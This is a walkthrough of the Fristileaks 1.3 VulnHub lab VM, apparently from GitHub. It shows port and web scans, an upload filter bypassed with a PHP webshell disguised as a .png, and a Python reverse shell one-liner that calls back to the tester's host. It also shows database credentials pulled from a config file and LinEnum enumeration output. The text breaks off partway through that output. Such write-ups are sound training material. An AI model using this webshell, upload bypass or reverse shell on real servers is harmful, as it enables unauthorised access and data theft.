-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathVulnHub Fristileaks.1.3 (Medium)
2391 lines (1972 loc) · 101 KB
/
VulnHub Fristileaks.1.3 (Medium)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
====================================================================================
Walkthrough of the Fristileaks.1.3 VulnHub VM CTF
====================================================================================
Step 1. Scanning & Enumeration (Nmap + Nikto + Dirb)
Step 2. Gaining access
Step 1. Manual Web application penetration test
Step 2. Upload of a PHP Webshell
Step 3. Obtain a reverse shell as 'apache'
Step 3. Post-exploitation - Linux enumeration (LinEnum.sh + Linux-exploit-suggester.sh)
Step 4. Privilege escalation to root
+ Method 1 - DirtyC0w exploit (CVE-2016-5195)
+ Method 2 - Exploit several insecure configuration settings
> Privesc from "admin" to "fristigod" using the encrypted pwds stored in "/home/admin"
> Privesc from "fristigod" to "root" using a SUDO rule and info in ".bash_history"
> Privesc from "fristigod" to "fristi" using a SUDO rule and weak folder permissions
====================================================================================
root@Security-Audit-01:~# nmap -T5 -sS -sV -sC -p- 192.168.1.49
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-21 15:22 CEST
Stats: 0:01:12 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 88.36% done; ETC: 15:24 (0:00:10 remaining)
Nmap scan report for 192.168.1.49
Host is up (0.00048s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
| http-methods:
|_ Potentially risky methods: TRACE
| http-robots.txt: 3 disallowed entries
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.14 seconds
====================================================================================
root@Security-Audit-01:~# nmap -T5 --script vuln -p 80 192.168.1.49
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-21 15:25 CEST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.1.49
Host is up (0.00030s latency).
PORT STATE SERVICE
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
| /robots.txt: Robots file
| /icons/: Potentially interesting folder w/ directory listing
|_ /images/: Potentially interesting folder w/ directory listing
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trace: TRACE is enabled
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
==============================================================================
root@Security-Audit-01:~# nikto -h http://192.168.1.49
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.49
+ Target Hostname: 192.168.1.49
+ Target Port: 80
+ Start Time: 2018-08-21 15:25:43 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
+ Server leaks inodes via ETags, header found with file /, inode: 12722, size: 703, mtime: Tue Nov 17 19:45:47 2015
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Entry '/cola/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/sisi/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/beer/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 3 entries which should be manually viewed.
+ Apache/2.2.15 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ PHP/5.3.3 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8348 requests: 0 error(s) and 16 item(s) reported on remote host
+ End Time: 2018-08-21 15:25:58 (GMT2) (15 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
=========================================================================================
root@Security-Audit-01:~# dirb http://192.168.1.49
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue Aug 21 15:31:48 2018
URL_BASE: http://192.168.1.49/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.1.49/ ----
+ http://192.168.1.49/cgi-bin/ (CODE:403|SIZE:210)
==> DIRECTORY: http://192.168.1.49/images/
+ http://192.168.1.49/index.html (CODE:200|SIZE:703)
+ http://192.168.1.49/robots.txt (CODE:200|SIZE:62)
---- Entering directory: http://192.168.1.49/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Tue Aug 21 15:31:52 2018
DOWNLOADED: 4612 - FOUND: 3
==========================================================================================
How to get a shell on the box (webshell as the user "apache") + Linux enumeration
==========================================================================================
With burpsuite community
--------------------------
1. browse the website and do a spider scan
=> robots.txt
=> /beer/, /sisi/, /cola/
=> index.html
2. Thanks to the message "Keep Calm and Drink Fristi" displayed in the "index.html" file
=> I tried /fristi/
3. We land on a Admin portal login page...
=> I tried basic default and weak credentials but it did not work
=> same for for basic SQLi
4. I tried "upload.php" and I was redirected to the "Main_login.php" page but the HTTP response in Burp showed me a "do_upload.php" page.
=> I traped and modified the HTTP response (302 Not Found => 200 Ok) and I have now access to an image upload page.
=> I tried to upload a php webshell named "Webshell.php" but it was rejected (only png, gif and jpg files are accepted)
=> I modified the file extension of my webshell file "Webshell.php.png" and the upload worked
POST /fristi/do_upload.php HTTP/1.1
Host: 192.168.1.49
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.49/fristi/upload.php
Cookie: PHPSESSID=4e2jkta5ovnligfe6bchjgsop5
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------9005578534749094731954750866
Content-Length: 409
-----------------------------9005578534749094731954750866
Content-Disposition: form-data; name="fileToUpload"; filename="Webshell.php.png"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd'].' 2>&1'); ?>
-----------------------------9005578534749094731954750866
Content-Disposition: form-data; name="submit"
Upload Image
-----------------------------9005578534749094731954750866--
HTTP/1.1 302 Found
Date: Tue, 21 Aug 2018 15:54:17 GMT
Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: main_login.php
Content-Length: 104
Connection: close
Content-Type: text/html; charset=UTF-8
<html>
<body>
Uploading, please wait<br />The file has been uploaded to /uploads <br /></body>
</html>
----------------
GET /fristi/uploads/Webshell.php.png?cmd=id;pwd;cat%20/etc/passwd HTTP/1.1
Host: 192.168.1.49
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
HHTTP/1.1 200 OK
Date: Tue, 21 Aug 2018 16:06:15 GMT
Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Length: 1242
Connection: close
Content-Type: text/html; charset=UTF-8
uid=48(apache) gid=48(apache) groups=48(apache)
/var/www/html/fristi/uploads
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
vboxadd:x:498:1::/var/run/vboxadd:/bin/false
eezeepz:x:500:500::/home/eezeepz:/bin/bash
admin:x:501:501::/home/admin:/bin/bash
fristigod:x:502:502::/var/fristigod:/bin/bash
fristi:x:503:100::/var/www:/sbin/nologin
=================================================================================
Reverse shell using python (nc is not working)
------------------------------------------------------
http://192.168.1.49/fristi/uploads/Webshell.php.png?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.1.8%22,1234));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
root@Security-Audit-01:~# nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.1.8] from (UNKNOWN) [192.168.1.49] 39980
sh: no job control in this shell
sh-4.1$ whoami
apache
sh-4.1$ ls
Webshell.php%00.png
Webshell.php.png
Webshell.png
index.html
sh-4.1$ cd ..
sh-4.1$ ls
checklogin.php
do_upload.php
index.php
login_success.php
logout.php
main_login.php
pic.b64
pic2.b64
upload.php
uploads
sh-4.1$ cat checklogin.php
<?php
ob_start();
$host="localhost"; // Host name
$username="eezeepz"; // Mysql username
$password="4ll3maal12#"; // Mysql password
$db_name="hackmenow"; // Database name
$tbl_name="members"; // Table name
<SNIP>
sh-4.1$ su eezeepz
su eezeepz
standard in must be a tty
sh-4.1$ python -c 'import pty; pty.spawn("/bin/bash")'
bash-4.1$ su eezeepz
Password: 4ll3maal12#
su: incorrect password
bash-4.1$ su eezeepz
Password: eezeepz
su: incorrect password
bash-4.1$ su root
su root
Password: 4ll3maal12#
su: incorrect password
bash-4.1$ su fristigod
su fristigod
Password: 4ll3maal12#
su: incorrect password
bash-4.1$ su admin
Password: 4ll3maal12#
su: incorrect password
bash-4.1$ su admin
Password: admin
su: incorrect password
bash-4.1$ su fristigod
Password: fristigod
su: incorrect password
-----------------------------------------------------------------------------
bash-4.1$ mysql -u eezeepz -p 4ll3maal12#
Enter password: 4ll3maal12#
ERROR 1044 (42000): Access denied for user 'eezeepz'@'localhost' to database '4ll3maal12#'
bash-4.1$ mysql -u eezeepz -p hackmenow
Enter password: 4ll3maal12#
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 677
Server version: 5.1.73 Source distribution
Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| hackmenow |
+--------------------+
2 rows in set (0.00 sec)
mysql> select * from members;
select * from members;
+----+----------+--------------------+
| id | username | password |
+----+----------+--------------------+
| 1 | eezeepz | keKkeKKeKKeKkEkkEk |
+----+----------+--------------------+
1 row in set (0.00 sec)
mysql> exit
bash-4.1$ su eezeepz
su eezeepz
Password: keKkeKKeKKeKkEkkEk
su: incorrect password
-------------------------------------------------------------------------------------
bash-4.1$ wget http://192.168.1.8:8000/LinEnum.sh
--2018-08-21 12:26:11-- http://192.168.1.8:8000/LinEnum.sh
Connecting to 192.168.1.8:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 44413 (43K) [text/x-sh]
Saving to: `LinEnum.sh'
100%[======================================>] 44,413 --.-K/s in 0.001s
2018-08-21 12:26:11 (29.0 MB/s) - `LinEnum.sh' saved [44413/44413]
bash-4.1$ chmod +x LinEnum.sh
chmod +x LinEnum.sh
bash-4.1$ ./LinEnum.sh -t
./LinEnum.sh -t
#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.91
[-] Debug Info
[+] Thorough tests = Enabled
Scan started at:
Tue Aug 21 12:26:42 EDT 2018
### SYSTEM ##############################################
[-] Kernel information:
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
[-] Kernel information (continued):
Linux version 2.6.32-573.8.1.el6.x86_64 ([email protected]) (gcc version 4.4.7 20120313 (Red Hat 4.4.7-16) (GCC) ) #1 SMP Tue Nov 10 18:01:38 UTC 2015
[-] Specific release information:
CentOS release 6.7 (Final)
CentOS release 6.7 (Final)
CentOS release 6.7 (Final)
[-] Hostname:
localhost.localdomain
### USER/GROUP ##########################################
[-] Current user/group info:
uid=48(apache) gid=48(apache) groups=48(apache)
[-] Users that have previously logged onto the system:
Username Port From Latest
root tty1 Wed Nov 25 05:27:24 -0500 2015
[-] Who else is logged on:
12:26:42 up 2:11, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
[-] Group memberships:
uid=0(root) gid=0(root) groups=0(root)
uid=1(bin) gid=1(bin) groups=1(bin),2(daemon),3(sys)
uid=2(daemon) gid=2(daemon) groups=2(daemon),1(bin),4(adm),7(lp)
uid=3(adm) gid=4(adm) groups=4(adm),3(sys)
uid=4(lp) gid=7(lp) groups=7(lp)
uid=5(sync) gid=0(root) groups=0(root)
uid=6(shutdown) gid=0(root) groups=0(root)
uid=7(halt) gid=0(root) groups=0(root)
uid=8(mail) gid=12(mail) groups=12(mail)
uid=10(uucp) gid=14(uucp) groups=14(uucp)
uid=11(operator) gid=0(root) groups=0(root)
uid=12(games) gid=100(users) groups=100(users)
uid=13(gopher) gid=30(gopher) groups=30(gopher)
uid=14(ftp) gid=50(ftp) groups=50(ftp)
uid=99(nobody) gid=99(nobody) groups=99(nobody)
uid=69(vcsa) gid=69(vcsa) groups=69(vcsa)
uid=499(saslauth) gid=76(saslauth) groups=76(saslauth)
uid=89(postfix) gid=89(postfix) groups=89(postfix),12(mail)
uid=74(sshd) gid=74(sshd) groups=74(sshd)
uid=48(apache) gid=48(apache) groups=48(apache)
uid=27(mysql) gid=27(mysql) groups=27(mysql)
uid=498(vboxadd) gid=1(bin) groups=1(bin)
uid=500(eezeepz) gid=500(eezeepz) groups=500(eezeepz)
uid=501(admin) gid=501(admin) groups=501(admin)
uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)
uid=503(fristi) gid=100(users) groups=100(users),502(fristigod)
[-] It looks like we have some admin users:
uid=2(daemon) gid=2(daemon) groups=2(daemon),1(bin),4(adm),7(lp)
uid=3(adm) gid=4(adm) groups=4(adm),3(sys)
[-] Contents of /etc/passwd:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
vboxadd:x:498:1::/var/run/vboxadd:/bin/false
eezeepz:x:500:500::/home/eezeepz:/bin/bash
admin:x:501:501::/home/admin:/bin/bash
fristigod:x:502:502::/var/fristigod:/bin/bash
fristi:x:503:100::/var/www:/sbin/nologin
[-] Super user account(s):
root
[-] Are permissions on /home directories lax:
total 28K
drwxr-xr-x. 5 root root 4.0K Nov 19 2015 .
dr-xr-xr-x. 22 root root 4.0K Aug 21 09:20 ..
drwx------. 2 admin admin 4.0K Nov 19 2015 admin
drwx---r-x. 5 eezeepz eezeepz 12K Nov 18 2015 eezeepz
drwx------ 2 fristigod fristigod 4.0K Nov 19 2015 fristigod
[-] Files owned by our user:
-rw-r--r-- 1 apache apache 62 Nov 17 2015 /var/www/html/robots.txt
-rw-r--r-- 1 apache apache 703 Nov 17 2015 /var/www/html/index.html
-rw-r--r--. 1 apache apache 1396 Nov 17 2015 /var/www/html/fristi/main_login.php
-rw-r--r--. 1 apache apache 45 Nov 17 2015 /var/www/html/fristi/logout.php
-rw-r--r--. 1 apache apache 372 Nov 17 2015 /var/www/html/fristi/upload.php
-rw-r--r-- 1 apache apache 48 Aug 21 11:48 /var/www/html/fristi/uploads/Webshell.php%00.png
-r--r--r--. 1 apache apache 4 Nov 17 2015 /var/www/html/fristi/uploads/index.html
-rw-r--r-- 1 apache apache 48 Aug 21 11:54 /var/www/html/fristi/uploads/Webshell.php.png
-rw-r--r-- 1 apache apache 48 Aug 21 11:43 /var/www/html/fristi/uploads/Webshell.png
-rw-r--r--. 1 apache apache 1216 Nov 17 2015 /var/www/html/fristi/do_upload.php
-rw-r--r--. 1 apache apache 131736 Nov 17 2015 /var/www/html/fristi/pic.b64
-rw-r--r--. 1 apache apache 1642 Nov 17 2015 /var/www/html/fristi/pic2.b64
-rwxr-xr-x 1 apache apache 44413 Jul 15 18:22 /var/www/html/fristi/LinEnum.sh
-rw-r--r--. 1 apache apache 191 Nov 17 2015 /var/www/html/fristi/login_success.php
-rw-r--r--. 1 apache apache 1310 Nov 17 2015 /var/www/html/fristi/checklogin.php
-rw-r--r-- 1 apache apache 107815 Nov 25 2015 /var/www/html/images/3037440.jpg
-rw-r--r-- 1 apache apache 34480 Nov 17 2015 /var/www/html/images/keep-calm.png
-rw-------. 1 apache apache 0 Nov 17 2015 /var/lib/php/session/sess_sgn8obmt07desfb6bcl09cu625
-rw-------. 1 apache apache 0 Nov 17 2015 /var/lib/php/session/sess_d2m0kl7d6fvh7d34f4rcdjgfv2
-rw------- 1 apache apache 0 Aug 21 09:49 /var/lib/php/session/sess_4e2jkta5ovnligfe6bchjgsop5
-rw-------. 1 apache apache 0 Nov 17 2015 /var/lib/php/session/sess_s2sl4rf31lsqukgvedfrudn0i6
-rw-------. 1 apache apache 0 Nov 17 2015 /var/lib/php/session/sess_d0vj05jc03p45i09llaeva8iq4
-rw-------. 1 apache apache 26 Nov 17 2015 /var/lib/php/session/sess_c06141si40e8t1e8fbqcnfqcd6
-rw-------. 1 apache apache 0 Nov 17 2015 /var/lib/php/session/sess_r8imne4to6p9eqbv0ve62dv647
-rw-------. 1 apache apache 0 Nov 17 2015 /var/lib/php/session/sess_cl2p3l395c29qe3fffojdc97p2
-rw-------. 1 apache apache 0 Nov 17 2015 /var/lib/php/session/sess_fb50k3rreura82egdmmfjq9v77
-rw-------. 1 apache apache 0 Nov 17 2015 /var/lib/php/session/sess_sjjcfuc9fr3fqr5crtt3s7d3f5
-rw-------. 1 apache apache 0 Nov 17 2015 /var/lib/php/session/sess_0gbbeoi29i74nt6bnkunuouci0
-rw-------. 1 apache apache 0 Nov 17 2015 /var/lib/php/session/sess_7t84773bup6o54egnkjtum0q87
-rw-------. 1 apache apache 0 Nov 17 2015 /var/lib/php/session/sess_qcjf8lrh94rcesd41tvi746ls0
-rw-------. 1 apache apache 0 Nov 17 2015 /var/lib/php/session/sess_fb7dj9tqqpila69m2grhfmmo45
-rw-------. 1 apache apache 0 Nov 17 2015 /var/lib/php/session/sess_qqt1rqieamv5b3t5i6o5srvgc7
-rw-------. 1 apache apache 0 Nov 17 2015 /var/lib/php/session/sess_7nueuse6eik62qarnncs6tpqt4
-rw------- 1 apache apache 26 Nov 17 2015 /var/lib/php/session/sess_b382m5qugddkq2ps8196e745c1
-rw-------. 1 apache apache 0 Nov 17 2015 /var/lib/php/session/sess_u1gt82f4s0p2ehnagvger8glg0
-rw-------. 1 apache apache 0 Nov 17 2015 /var/lib/php/session/sess_hijetlf7s6nns9o3hi7a2h8nj7
-rw-------. 1 apache apache 0 Nov 17 2015 /var/lib/php/session/sess_svl94mt3ot5lvpiplnnijkrnb4
-rw-------. 1 apache apache 0 Nov 17 2015 /var/lib/php/session/sess_jjh2g0fu4anm7suu68udhdp2e4
-rw-------. 1 apache apache 0 Nov 17 2015 /var/lib/php/session/sess_t1i5t4coc4jcc0tgd3i9o3kn00
[-] Hidden files:
-rw-r--r--. 1 root root 65 Oct 24 2013 /lib64/.libgcrypt.so.11.hmac
-rw-r--r--. 1 root root 65 Oct 15 2014 /lib64/.libcryptsetup.so.1.1.0.hmac
-rw-r--r--. 1 root root 65 Dec 7 2011 /lib64/.libfipscheck.so.1.1.0.hmac
-rw-r--r--. 1 root root 65 Oct 15 2014 /lib64/.libcryptsetup.so.1.hmac
-rw-------. 1 root root 0 Nov 17 2015 /etc/.pwd.lock
-rw-r--r--. 1 root root 18 Sep 22 2015 /etc/skel/.bash_logout
-rw-r--r--. 1 root root 124 Sep 22 2015 /etc/skel/.bashrc
-rw-r--r--. 1 root root 176 Sep 22 2015 /etc/skel/.bash_profile
-rw-r--r--. 1 root root 166 Jul 23 2015 /boot/.vmlinuz-2.6.32-573.el6.x86_64.hmac
-rw-r--r--. 1 root root 170 Nov 10 2015 /boot/.vmlinuz-2.6.32-573.8.1.el6.x86_64.hmac
-rw-r--r--. 1 root root 65 Jul 23 2015 /usr/lib64/.libssl.so.1.0.1e.hmac
-rw-r--r--. 1 root root 65 Jul 23 2015 /usr/lib64/.libcrypto.so.1.0.1e.hmac
-rw-r--r--. 1 root root 65 Dec 7 2011 /usr/bin/.fipscheck.hmac
-rw-r--r--. 1 root root 65 Aug 13 2015 /usr/bin/.ssh.hmac
-rw-r--r--. 1 root root 55 Dec 2 2009 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/dtc/.gitignore
-rw-r--r--. 1 root root 1430 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/.kallsyms.cmd
-rw-r--r--. 1 root root 21 Dec 2 2009 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/selinux/mdp/.gitignore
-rw-r--r--. 1 root root 1743 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/selinux/mdp/.mdp.cmd
-rw-r--r--. 1 root root 2088 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/selinux/genheaders/.genheaders.cmd
-rw-r--r--. 1 root root 20 Dec 2 2009 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/basic/.gitignore
-rw-r--r--. 1 root root 2711 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/basic/.fixdep.cmd
-rw-r--r--. 1 root root 2266 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/basic/.docproc.cmd
-rw-r--r--. 1 root root 1423 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/basic/.hash.cmd
-rw-r--r--. 1 root root 85 Dec 2 2009 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/.gitignore
-rw-r--r--. 1 root root 37 Dec 2 2009 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/genksyms/.gitignore
-rw-r--r--. 1 root root 145 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/genksyms/.genksyms.cmd
-rw-r--r--. 1 root root 1024 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/genksyms/.parse.o.cmd
-rw-r--r--. 1 root root 1715 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/genksyms/.genksyms.o.cmd
